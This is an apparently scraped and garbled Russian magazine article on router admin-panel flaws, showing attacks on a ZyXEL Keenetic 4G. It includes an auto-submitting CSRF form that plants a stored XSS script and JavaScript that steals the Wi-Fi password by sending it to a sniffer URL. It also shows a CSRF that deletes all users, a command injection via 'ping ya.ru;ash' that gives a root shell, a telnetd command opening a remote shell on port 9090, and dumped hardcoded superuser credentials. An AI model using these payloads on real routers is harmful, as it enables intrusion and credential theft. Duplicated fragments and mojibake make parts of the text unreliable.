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PORT   STATE SERVICE VERSION
23/tcp open  telnet?
53/tcp open  domain  dnsmasq 2.55
| dns-nsid:
|_  bind.version: dnsmasq-2.55
80/tcp open  http    GoAhead-Webs httpd
| http-auth:
| HTTP/1.0 401 Unauthorized

Как ошибки в админке  
маршрутизаторов 
могут выдать полный 
доступ к роутеру
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<FORM NAME="buy" action="http://192.168.1.1/req/
usersAdd" METHOD="POST">
 <input type="hidden" name='user_name' value=
 '<script src="//server/js/1.js" type="text/
 javascript">'>
 <input type="hidden" name='password' value="3">
 <input type="hidden" name='fullAccess' value="0">
 <input type="hidden" name='save' value="%D0%94%
 D0%BE%D0%B1%D0%B0%D0%B2%D0%B8%D1%82%D1%8C">
 <input type="hidden" name='submit_url' value=
 "%2Fserver%2Fusers.asp">
</FORM>
<script>document.buy.submit();setTimeout('document.
location = "http://192.168.1.1/server/users.
asp"',3000)</script>

...

var xmlhttp = getXmlHttp()
xmlhttp.open('GET', '/homenet/wireless/security.asp',
false);
xmlhttp.send(null);
if(xmlhttp.status == 200) {
  t = xmlhttp.responseText;
}

WWW
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ion="http://192.168.1.1/req/p // / q/
ST">
" name='user_name' value=
ver/js/1.js" type="text//j / j yp /

" name='password'p value="3">
" name='fullAccess' value="0">
" name='save' value="%D0%94%
0%B2%D0%B8%D1%82%D1%8C">
" name='submit_url' value=
asp"p >

.submit();setTimeout('document.

t=t.replace(/^(.*\n)*.*<html/i, "<html");
t=t.replace(/<\/html>(.*\n)*.*$/i, "</html>");
var parser = new DOMParser();
var dom = parser.parseFromString(t, "text/xml");
password = dom.getElementsByTagName('input')[10].
value //Ȕ ȖȢȦ Ȝ ȣȔȤȢȟȰ
//ȣȢȥȯȟȔșȠ ȡȔ ȥȡȜȨșȤ
var imm = document.createElement('img');
imm.setAttribute('src', "http://server/snifer?"+
password)

...
//clear
var xmlhttp = getXmlHttp()
xmlhttp.open('POST', '/req/usersDel', false);
xmlhttp.send("select0=ON&select1=ON&delAll=%D0%A3
%D0%B4%D0%B0%D0%BB%D0%B8%D1%82%D1%8C+%D0%B2%D1%81
%D0%B5&submit_url=%2Fserver%2Fusers.asp%3Fuser_
name%3DCSRF%0D%0Apassword%3DCSRF%0D%0AfullAccess
%3D0%0D%0Asave%3D%D0%94%D0%BE%D0%B1%D0%B0%D0%B2%
D0%B8%D1%82%D1%8C%0D%0Asubmit_url%3D%2Fserver%2
Fusers.asp");

Password :
KEENETIC 4G> sys atsh
F/W version : V1.00(AABV.1.2)D0
Product Model : KEENETIC 4G_RevB

KEENETIC 4G> wlan status
Hardware address: CC:5D:4E:FE:A1:00
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Wireless : On

    Mode: Access Point

    SSID : ZyXEL_KEENETIC_4G_FEA100

    Channel: 10

    Protocol: 802.11b/g/n

    Security: WPA2-PSK TKIP/AES

    ASCII key : 14881488

KEENETIC 4G> sys ping ya.ru;ls

ping: bad address 'ya.ru'

bin dev etc lib proc sbin sys tmp usr var web

KEENETIC 4G> sys ping ya.ru;ash

ping: bad address 'ya.ru'

BusyBox v1.8.2 (2012-02-21 14:52:32 MSK) 

built-in shell (ash)

Enter 'help' for a list of built-in commands.

~ #

~ # telnetd -F -l /bin/ash -p 9090

root@bt:~# telnet 192.168.1.1 9090

Trying 192.168.1.1...

Connected to 192.168.1.1.

Escape character is '^]'.

BusyBox v1.8.2 (2012-02-21 14:52:32 MSK) 

built-in shell (ash)

Enter 'help' for a list of built-in commands.

~ #

~ # cat /proc/version

Linux version 2.6.23.17 (developers@ndmsystems.com) 

(gcc version 4.1.2) #9 Tue Feb 21 20:21:39 MSK 2012

INFO

g ya.ru;lsg y ;

a.ru'

sbin sys tmp usr var weby p

g ya.ru;ashg y ;

a.ru'

-02-21 14:52:32 MSK))

ist of built-in commands.

in/ash -p 9090/ p

2.168.1.1 9090

.

.1.1.

'^]'.]

-02-21 14:52:32 MSK))

ist of built-in commands.

n

.17 (developers@ndmsystems.com) ( p @ y )

#9 Tue Feb 21 20:21:39 MSK 2012

ŧŠŤŦűş BUGFIX

— —
—

KEENETIC 4G> fl ash get SUPER_NAME
SUPER_NAME="t0u34"

KEENETIC 4G> fl ash get SUPER_PASSWORD
SUPER_PASSWORD="i@t0D93u34jf~34:j#L9.Sd"

KEENETIC 4G> fl ash get ADMIN_NAME
ADMIN_NAME="admin"

KEENETIC 4G> fl ash get ADMIN_PASSWORD
ADMIN_PASSWORD="1234"

KEENETIC 4G>

WARNING


